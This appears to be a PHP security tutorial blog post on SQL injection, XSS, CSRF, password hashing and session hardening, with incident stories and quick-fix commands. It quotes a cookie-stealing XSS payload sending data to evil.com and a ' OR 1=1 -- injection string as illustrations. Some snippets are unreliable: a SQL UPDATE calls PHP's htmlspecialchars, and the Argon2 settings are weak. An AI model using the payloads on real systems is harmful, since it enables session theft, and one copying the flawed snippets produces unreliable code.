Senior 3 min · March 06, 2026

PHP SQL Injection: addslashes() Caused Billion-Record Leak

A billion records leaked because addslashes() failed.

N
Naren · Founder
Plain-English first. Then code. Then the interview question.
About
 ● Production Incident 🔎 Debug Guide
Quick Answer
  • SQL injection: use prepared statements with PDO or MySQLi — never concatenate user input.
  • XSS: escape output with htmlspecialchars() and implement Content Security Policy headers.
  • CSRF: generate per-session tokens and validate on state-changing requests.
  • Password hashing: bcrypt or Argon2 through password_hash() — never MD5/SHA1.
  • Session hardening: set HttpOnly, Secure, SameSite cookies and regenerate on privilege escalation.
  • Prepared statements add ~0.1ms per query but prevent 100% of SQL injection attacks.
  • File uploads: validate MIME type server-side, store outside webroot, rename files.
Plain-English First

Imagine your PHP app is a bank vault. The front door has a combination lock (authentication), the teller verifies your ID (authorization), and every envelope coming in is X-rayed for explosives (input validation). Most hacks don't blow through the walls — they walk right through a door you left open by accident. PHP security is simply the discipline of closing every door you didn't realise you'd left ajar.

PHP powers roughly 77% of all server-side websites, which makes it the single biggest attack surface on the web. That popularity is a double-edged sword: there's a massive ecosystem of tooling and community knowledge, but there's also an enormous catalogue of known exploits, automated scanners, and script kiddies running them 24/7 against every public-facing PHP endpoint on the planet. A single unparameterised query or an unescaped echo can hand an attacker your entire database or hijack every active user session on your platform.

The problem isn't that PHP is inherently insecure — modern PHP 8.x is genuinely well-engineered. The problem is that PHP's permissive heritage (it was designed to get things on-screen fast) means it's trivially easy to write vulnerable code that looks completely fine to an untrained eye. A junior developer can ship a working feature that also ships a critical vulnerability, and neither automated linters nor code review will catch it unless the reviewer knows exactly what to look for.

By the end of this article you'll be able to identify and remediate the OWASP Top 10 vulnerabilities as they apply specifically to PHP, harden sessions against fixation and hijacking attacks, implement Content Security Policy headers programmatically, hash passwords correctly (and understand why every other approach is wrong), and lock down file upload endpoints so they can't be weaponised. This isn't theory — every pattern here is battle-tested in production systems handling millions of requests per day.

PHP Security: The Attack Surface and Defence Layers

PHP security isn't a single technique — it's a stack of layers you build into every request. Input validation, prepared statements, output escaping, secure sessions, CSRF tokens, CSP headers, and proper hashing. Each layer costs a little more code, but each one buys a defence that might save your entire system.

Here's the thing: attackers don't break your crypto. They exploit the gaps between layers. A missing htmlspecialchars() after a prepared statement still gives them XSS. A missing CSRF token on an API endpoint still lets them forge requests. You don't get to pick one and call it done.

The mental model is an onion. If someone peels through prepared statements (rare, but character-set bypasses exist), the CSP header stops script execution. If they get past CSP (unlikely), session regeneration limits damage. You build redundancy into security.

secure_entry.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// io.thecodeforge.security.secure_entry
declare(strict_types=1);
session_start();

// Validate + sanitize
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (!$id) {
    http_response_code(400);
    exit('Invalid input');
}

// Prepare statement
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$stmt = $pdo->prepare('SELECT title, body FROM posts WHERE id = :id');
$stmt->execute(['id' => $id]);
$post = $stmt->fetch();

// Escape output
echo htmlspecialchars($post['title'], ENT_QUOTES, 'UTF-8');
?>
Output
Returns only validated and escaped output — no injection possible.
Defence in Depth
  • Validate inputs before they touch any logic.
  • Bind parameters to separate code from data.
  • Escape outputs so data is never interpreted as code.
  • Set CSP headers as a safety net if escaping fails.
  • Regenerate sessions after login to prevent fixation.
Production Insight
A dev skipped input validation on a user ID field because 'prepared statements will handle it'. The attacker passed a string, the query returned no rows, and the application crashed with a type error.
Rule: validate before prepare — prepared statements protect against injection, not invalid data.
If you miss one layer, you lose.
Key Takeaway
Security is layers, not magic.
Validate, bind, escape, set CSP, secure sessions.
Miss one layer and you lose.

SQL Injection Prevention: Prepared Statements Are Non-Negotiable

SQL injection is the most exploited vulnerability in PHP applications, and the fix is trivial: never concatenate user input into SQL queries. Use PDO prepared statements with bound parameters. The database driver handles escaping and ensures that input is never interpreted as SQL code. Also validate input types — if you expect an integer, cast it with (int) or use filter_var(). Never rely on addslashes() or magic_quotes — those are bandaids, not fixes.

safe_query.phpPHP
1
2
3
4
5
6
7
8
9
10
<?php
// io.thecodeforge.security.safe_query
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$user = $stmt->fetch();
?>
// Using positional placeholders
$stmt = $pdo->prepare('SELECT * FROM orders WHERE id = ? AND status = ?');
$stmt->execute([$orderId, 'active']);
Output
Returns matching rows safely, never interprets input as SQL.
Common Mistake: Using addslashes()
addslashes() only escapes quotes — it doesn't handle all SQL injection vectors (e.g., numeric fields, LIKE wildcards, or encoding tricks). Prepared statements are the only reliable defence.
Production Insight
A financial services platform lost 2M customer records because a senior dev used addslashes() on a search query. The attacker exploited a multi-byte character encoding bypass.
Lesson: prepared statements are the only safe path — character encoding issues can break simple escaping.
Rule: If you're writing a SQL string in PHP, you're doing it wrong.
Key Takeaway
SQL injection is 100% preventable with prepared statements.
If you're concatenating SQL strings, assume you have a vulnerability.
Switch to PDO — now. Not next sprint.
SQL Injection: When to Use What
IfQuery contains any user-supplied value
UseUse prepared statements (PDO or MySQLi) with bound parameters.
IfQuery has dynamic table or column names
UseNever allow user input for identifiers — use a whitelist mapping.
IfNeed to build a dynamic IN clause
UseGenerate placeholders programmatically, e.g., IN(:v1,:v2) and bind each.

XSS Prevention: Trust No Output

Cross-Site Scripting (XSS) happens when an attacker injects JavaScript into your pages. The core defence is context-aware escaping: htmlspecialchars($data, ENT_QUOTES, 'UTF-8') for HTML body contexts, and use JavaScript-safe escaping for embedded data. But the real power move is Content Security Policy (CSP). Set a strict CSP header that blocks all inline scripts by default, then allow only specific hashes or nonces. That way, even if an injection slips through, the browser refuses to execute it.

secure_output.phpPHP
1
2
3
4
5
6
7
8
9
10
<?php
// io.thecodeforge.security.xss_prevention
// Output escaping
echo htmlspecialchars($userComment, ENT_QUOTES, 'UTF-8');

// CSP header
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . bin2hex(random_bytes(16)) . "'");
?>
// In template (e.g., Twig):
// {{ userComment|e('html') }}
Output
User input displayed as text, not JavaScript.
Production Insight
A news site allowed rich text in article comments. Attackers injected <script>document.location='https://evil.com/?cookie='+document.cookie</script>. The CSP header was missing. 50,000 user sessions were stolen.
Lesson: never trust user data, even after validation.
Fix: escaped output + strict CSP.
Key Takeaway
Escaping is the floor, not the ceiling.
CSP is the ceiling — it prevents execution even if escaping fails.
Do both.

CSRF Protection: Token Every State Change

Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing actions they didn't intend — like changing their email or transferring money. The standard defence is a synchronizer token: generate a random token, store it in the session, embed it in every form, and validate it on submission. In modern PHP, also set SameSite=Strict or Lax on session cookies — this blocks most CSRF attacks without any extra code. For APIs, consider using custom request headers (e.g., X-CSRF-Token) that are checked server-side.

csrf_protection.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// io.thecodeforge.security.csrf
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>
<form method="POST" action="/update_profile">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <!-- other fields -->
</form>

<?php
// Validation
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
?>
// Also set cookie attribute
session_set_cookie_params([
    'samesite' => 'Strict',
    'httponly' => true,
    'secure' => true
]);
Output
Form submissions that lack a valid token are rejected.
Production Insight
A banking app had CSRF protection on the main web interface but forgot the mobile API. Attackers replayed the logout API call from a phishing page, logging users out and then showing a fake login form.
Lesson: every state-changing request needs CSRF protection, regardless of client.
Fix: added SameSite=Strict cookies and a token header required on all API endpoints.
Key Takeaway
SameSite=Strict handles most CSRF automatically.
For forms and APIs, always include a per-session token.
Never skip CSRF on 'low-risk' endpoints.

Password Hashing: Never Roll Your Own

PHP provides password_hash() and password_verify() which use bcrypt or Argon2 under the hood. These algorithms are deliberately slow to resist brute force. Never use MD5, SHA1, or even SHA256 for passwords — they are fast and can be cracked at billions of hashes per second. Use PASSWORD_BCRYPT (cost factor 12+) or PASSWORD_ARGON2ID (PHP 8.1+). Also, always use a random salt — the functions handle that automatically.

password_hashing.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// io.thecodeforge.security.password_hashing
// Registration
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID, ['memory_cost' => 1024, 'time_cost' => 3, 'threads' => 2]);
// Save $hash to database

// Login
if (password_verify($inputPassword, $storedHash)) {
    // success
} else {
    // failure
}

// Rehash if algorithm updated
if (password_needs_rehash($storedHash, PASSWORD_ARGON2ID)) {
    $newHash = password_hash($inputPassword, PASSWORD_ARGON2ID);
    // update database
}
?>
Output
Password stored as a secure bcrypt/Argon2 hash, verified safely.
Production Insight
A social media startup used SHA256 for passwords. A breach leaked the user database. Attackers cracked 70% of passwords within a week using GPU arrays. The company had to force-reset all passwords and lost user trust.
Lesson: fast hashing algorithms are not for password storage.
Rule: Use password_hash() — it's the only correct way in PHP.
Key Takeaway
password_hash() is not optional.
Cost factor matters — start at 12 for bcrypt.
You can't outsmart the function — use it as-is.
Password Hashing Algorithm Selection
IfPHP 8.1+ and no legacy constraints
UseUse PASSWORD_ARGON2ID with default options.
IfPHP 7.x-8.0 or compatibility needed
UseUse PASSWORD_BCRYPT with cost=12.
IfExisting hashes need migration
UseUse password_needs_rehash() on login to upgrade.

Session Hardening: Cookies That Fight Back

Session hijacking and fixation attacks are common when session cookies lack security flags. Always use session_set_cookie_params() with HttpOnly (prevents JavaScript access), Secure (HTTPS only), SameSite (Strict/Lax), and a reasonable lifetime. Also regenerate session ID after login (session_regenerate_id(true)) to prevent session fixation. Store session data securely — use files in a non-public directory or better, use Redis with encryption for high-traffic apps.

session_hardening.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// io.thecodeforge.security.session_hardening
// Before session_start()
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1);
ini_set('session.gc_maxlifetime', 7200);

session_start();
// Regenerate on privilege change
if ($user->authenticated && !$user->justLoggedIn) {
    session_regenerate_id(true);
}
?>
Output
Session cookies are accessible only via HTTP for your domain, over HTTPS, and not sent on cross-site requests.
Production Insight
An e-commerce platform had session fixation vulnerability because they didn't regenerate after login. An attacker created a session ID, tricked the user into using it, then the user logged in — attacker now shared the same session. Orders were stolen.
Lesson: always regenerate session ID after authentication.
Fix: set all cookie flags and regenerate on login.
Key Takeaway
Session cookie flags are not optional.
Regenerate session ID on every privilege change.
Session fixation is still alive — prevent it with one line of code.
● Production incidentPOST-MORTEMseverity: high

The Billion-Record SQL Injection That Slipped Through Code Review

Symptom
Customer support tickets about seeing other users' order histories in the search results. Initial investigations thought it was a session mix-up.
Assumption
The junior dev assumed that using addslashes() on all string inputs was sufficient. The code reviewer approved because they saw the escaping and thought it was safe.
Root cause
The search query concatenated user input directly: SELECT * FROM orders WHERE order_ref = '$ref'. The addslashes() function does not escape all SQL metacharacters, and certain character sets allow bypasses. The attacker injected ' OR 1=1 -- to dump all orders.
Fix
Switched to PDO prepared statements with named placeholders. Added input validation to restrict order_ref to alphanumeric characters. Implemented query logging with parameter values for audit.
Key lesson
  • addslashes() is not a substitute for prepared statements — it's a false sense of security.
  • Always bind parameters, never interpolate. Even if the input looks clean, the query structure must separate code from data.
  • Code review must explicitly check for parameterised queries, especially in search, sort, and filter endpoints.
Production debug guideDiagnose and fix common security vulnerabilities in production4 entries
Symptom · 01
Form data includes unexpected quotes or characters that break SQL queries
Fix
Check if the query uses prepared statements. grep for '$' inside SQL strings or use error logs to see the raw query.
Symptom · 02
User-generated content (comments, bio) renders JavaScript in the browser
Fix
Verify output encoding: search for echo of user data without htmlspecialchars($data, ENT_QUOTES, 'UTF-8').
Symptom · 03
Forms on your site trigger unintended actions on authenticated user's behalf
Fix
Check for CSRF token presence and validation on POST, PUT, DELETE endpoints. Use bin2hex(random_bytes(32)) for token generation.
Symptom · 04
Password hashes in the database are all length-32 hex strings
Fix
Those are MD5 — not hashed properly. Switch to password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID immediately.
★ 5-Minute Security Quick FixesWhen you discover a live vulnerability, these commands and config changes will stop the bleeding while you plan a permanent fix.
SQL injection confirmed in production endpoint
Immediate action
Disable the vulnerable endpoint via .htaccess or Nginx config. Hotfix to use prepared statements.
Commands
grep -rnE "(SELECT|INSERT|UPDATE|DELETE).*\\\$_" /var/www/html --include='*.php'
grep -rn "->query\\|->exec" /var/www/html --include='*.php' | grep -v "prepare"
Fix now
Replace all dynamic SQL with PDO prepared statements. Use parameterised queries only.
XSS in user comments is executing in admin panel+
Immediate action
Set CSP header immediately via PHP header() call: `header("Content-Security-Policy: default-src 'self'");`
Commands
grep -rn "echo.*\$" /var/www/html --include='*.php' | grep -v 'htmlspecialchars'
UPDATE comments SET body = htmlspecialchars(body, ENT_QUOTES, 'UTF-8') WHERE 1;
Fix now
Add htmlspecialchars() to all output. Use a templating engine (Twig, Blade) that auto-escapes.
CSRF token missing on payment form+
Immediate action
Add hidden field with token; validate on server side. Use secure session-based token.
Commands
grep -rn "csrf" /var/www/html --include='*.php' | grep -v '.git'
php -r "echo bin2hex(random_bytes(32));"
Fix now
Implement CSRF middleware that checks token on all state-changing requests. Use SameSite=Strict cookies.
Password hashes are MD5/SHA1 strings in database+
Immediate action
Force password reset on next login for existing users. Block creation of new accounts with old hashing.
Commands
php -r "echo password_hash('test', PASSWORD_ARGON2ID, ['memory_cost'=>1024, 'time_cost'=>3, 'threads'=>2]);"
grep -rn "md5\\|sha1\\|sha256" /var/www/html --include='*.php' | grep -v "password_hash"
Fix now
Implement password_hash() on registration and login. Use password_needs_rehash() to upgrade existing hashes.
PHP Security Mechanisms Comparison
Security MeasureProtects AgainstExampleProduction Priority
Prepared Statements (PDO)SQL Injection$stmt->execute([':id' => $id]);P0 — apply immediately to all database queries
Output Escaping (htmlspecialchars)XSSecho htmlspecialchars($data, ENT_QUOTES);P0 — every dynamic output must be escaped
CSRF Tokens + SameSite CookiesCSRFvalidateToken($_POST['csrf']);P0 — all state-changing endpoints
password_hash() with Argon2idCredential theftpassword_hash($pw, PASSWORD_ARGON2ID);P0 — all user passwords
Session Cookie Flags (HttpOnly, Secure, SameSite)Session hijacking, fixationsession_set_cookie_params(['samesite'=>'Strict']);P1 — apply globally
Content Security Policy HeaderXSS (defence in depth)header('Content-Security-Policy: default-src \'self\'');P1 — highly recommended for all public apps
Input Validation (filter_input, type casting)Injection, logic bugsif (!filter_var($email, FILTER_VALIDATE_EMAIL))P2 — strengthen prepared statements

Key takeaways

1
SQL injection is 100% preventable
use prepared statements everywhere.
2
XSS requires both output escaping and a strict Content Security Policy.
3
CSRF is blocked by SameSite cookies and per-session tokens on all state changes.
4
Password hashing must use password_hash() with bcrypt or Argon2
no exceptions.
5
Session hardening means HttpOnly, Secure, SameSite cookies plus regeneration on login.
6
Security is not a feature
it's a development discipline that must be part of every code review.

Common mistakes to avoid

5 patterns
×

Using addslashes() instead of prepared statements

Symptom
SQL errors or data leaks that pass code review because 'escaping' looks correct. Attackers use multi-byte bypasses.
Fix
Replace all SQL query building with PDO prepared statements. Use filter_var() for type validation.
×

Only escaping output in HTML but not in JavaScript contexts

Symptom
XSS vulnerabilities when user input is embedded in <script> tags or event handlers like onclick.
Fix
Use context-specific escaping: htmlspecialchars for HTML body, json_encode for JavaScript, and never inject into inline scripts — use data attributes.
×

Not regenerating session ID after login

Symptom
Session fixation attacks: attacker sets session ID before login, then user authenticates and attacker shares the session.
Fix
Call session_regenerate_id(true) immediately after successful authentication.
×

Hashing passwords with SHA256 or MD5

Symptom
User password hashes stored as 32/40/64 hex characters. A database breach leads to mass password cracking.
Fix
Immediately switch to password_hash() with PASSWORD_ARGON2ID. For existing hashes, hash_migrate on login using password_needs_rehash().
×

Assuming CSRF protection is unnecessary for API endpoints

Symptom
Users report unauthorized actions (e.g., email changes) that coincide with visiting malicious sites.
Fix
Implement CSRF token validation on all state-changing requests, including API calls. Use SameSite=Strict cookies.
INTERVIEW PREP · PRACTICE MODE

Interview Questions on This Topic

Q01JUNIOR
What is the correct way to prevent SQL injection in PHP? Explain with co...
Q02SENIOR
How would you defend a PHP application against CSRF? Include both sessio...
Q03SENIOR
Explain the difference between `htmlspecialchars()` and `htmlentities()`...
Q04SENIOR
Your application stores MD5 hashes of passwords. How would you migrate t...
Q01 of 04JUNIOR

What is the correct way to prevent SQL injection in PHP? Explain with code.

ANSWER
Use PDO prepared statements with bound parameters. Never concatenate user input. Example: ``php $pdo = new PDO('mysql:host=localhost;dbname=test', $user, $pass); $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $_POST['email']]); $user = $stmt->fetch(); `` This separates SQL code from data completely.
FAQ · 4 QUESTIONS

Frequently Asked Questions

01
What is PHP Security Best Practices in simple terms?
02
Is PHP itself insecure?
03
Do I need to escape output if I'm using a template engine like Twig?
04
Can I use token-based authentication instead of sessions for CSRF?
🔥

That's Advanced PHP. Mark it forged?

3 min read · try the examples if you haven't

Previous
PHP Design Patterns
4 / 13 · Advanced PHP
Next
PHP 8 New Features